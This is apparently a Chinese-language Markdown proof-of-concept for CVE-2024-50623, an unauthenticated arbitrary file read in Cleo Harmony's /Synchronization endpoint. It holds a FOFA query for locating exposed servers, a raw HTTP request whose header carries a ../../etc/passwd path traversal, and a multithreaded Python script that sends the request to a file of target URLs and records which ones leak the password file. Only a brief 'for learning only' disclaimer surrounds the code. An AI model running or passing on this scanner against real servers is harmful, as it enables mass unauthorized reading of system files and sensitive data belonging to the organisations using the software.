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125 lines
5.1 KiB
Markdown
125 lines
5.1 KiB
Markdown
## Cleo Harmony接口Synchronization存在任意文件读取漏洞
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Cleo Harmony的Synchronization接口存在任意文件读取漏洞,未经身份验证的攻击者可以通过漏洞读取服务器任意文件,从而获取大量敏感信息。
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## fofa
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```
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body="packages/partnerlogos/userportal_logo"
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```
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## POC
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```yaml
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GET /Synchronization HTTP/1.1
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Host: 127.0.0.1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
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Accept: */*
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: keep-alive
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Cookie: csrftoken=z1GtnjQWsIKwGazlFX7V; csrftoken=NX6iujIUcamW9umprA1vx19dzU6EZNLa; csrftoken=kZ4jVQ4uZtITYtnweSsVDUEwZ2ltraTF
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Priority: u=4
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Retrieve: l=Ab1234-RQ0258;n=VLTrader;v=7.2.1;a=1337;po=1337;s=True;b=False;pp=1337;path=../../etc/passwd
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```
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## python利用脚本
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```
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# _*_ coding : utf-8 _*_
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# @Time : 2025-03-14 9:20
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# Author : 长安风生
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# File : Cleo_read
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# Project : pythonProject
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import requests
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import sys
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from concurrent.futures import ThreadPoolExecutor, as_completed
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from urllib3.exceptions import InsecureRequestWarning
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# 禁止显示与不安全请求相关的警告
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requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
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#检测前描述
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def print_logo():
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logo = """
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.__ _____ .__
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____ | |__ _____ ____ _________ ____ _/ ____\____ ____ ____ _____| |__ ____ ____ ____
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_/ ___\| | \\__ \ / \ / ___\__ \ / \ \ __\/ __ \ / \ / ___\/ ___/ | \_/ __ \ / \ / ___\
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\ \___| Y \/ __ \| | \/ /_/ > __ \| | \ | | \ ___/| | \/ /_/ >___ \| Y \ ___/| | \/ /_/ >
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\___ >___| (____ /___| /\___ (____ /___| / |__| \___ >___| /\___ /____ >___| /\___ >___| /\___ /
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\/ \/ \/ \//_____/ \/ \/ \/ \//_____/ \/ \/ \/ \//_____/
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"""
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print(logo)
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def print_usage():
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print("使用帮助:")
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print(" 1.创建Cleo_read_check.txt把要检测的url放入Cleo_read_check.txt")
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print(" 2.把Cleo_read_check.txt和Cleo_read.py放在同一文件夹下")
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print(" 3.python Cleo_read.py")
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print()
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print("结果说明:")
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print(" 成功检测出的url会保存到Cleo_read.txt")
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print()
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def start_message():
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print("本程序仅供学习使用,如若非法他用,与本文作者无关,需自行负责!")
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print("程序功能:多线测检测Cleo文件传输软件任意文件读取漏洞(CVE-2024-50623) By:长安风生&棉花糖网络安全")
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print("-" * 88) # 打印分割线
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def print_red(text):
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# ANSI转义序列设置为红色,让存在的漏洞的变成红色醒目
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red_start = "\033[91m"
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red_end = "\033[0m"
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print(red_start + text + red_end)
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def check_vulnerability(target_url):
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headers = {
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'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36',
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'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
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'Accept-Language': 'zh-CN,zh;q=0.9',
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'Vlsync': ('Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=7.2.1;a=1337;po=1337;'
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's=True;b=False;pp=1337;path=../../etc/passwd'),
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'Accept-Encoding': 'gzip, deflate, br'
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}
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try:
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response = requests.get(target_url, headers=headers, timeout=10, verify=False)
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if "root:x:" in response.text:
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# print(response.text)
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print_red(f"[+] The target {target_url} is potentially vulnerable to arbitrary file read.")
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return target_url
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else:
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print(f"[-] The target {target_url} does not appear to be vulnerable to arbitrary file read.")
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except requests.RequestException as e:
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print(f"[!] Failed to connect to {target_url}: {e}")
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return None
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def process_url(line):
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base_url = line.strip()
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target_url = base_url + '/Synchronization'
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return check_vulnerability(target_url)
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if __name__ == "__main__":
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print_logo()
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print_usage()
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start_message()
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# 询问是否想要执行检测
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execute_check = input("您希望现在执行漏洞检测吗?(yes/no): ").strip().lower()
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if execute_check not in ["yes", "y"]:
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print("执行已取消!")
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sys.exit(0)
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vulnerable_urls = [] # 用于存储检查成功的URL
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with open('Cleo_read_check.txt', 'r') as file:
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urls = [line.strip() for line in file]
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with ThreadPoolExecutor(max_workers=10) as executor:
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# 使用future对象来获取线程执行的结果
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future_to_url = {executor.submit(process_url, url): url for url in urls}
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for future in as_completed(future_to_url):
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result = future.result()
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if result:
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vulnerable_urls.append(result)
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# 执行结束后,将所有检测成功的URL写入Cleo_read.txt
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with open('Cleo_read.txt', 'w') as file:
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for url in vulnerable_urls:
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file.write(url + '\n')
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```
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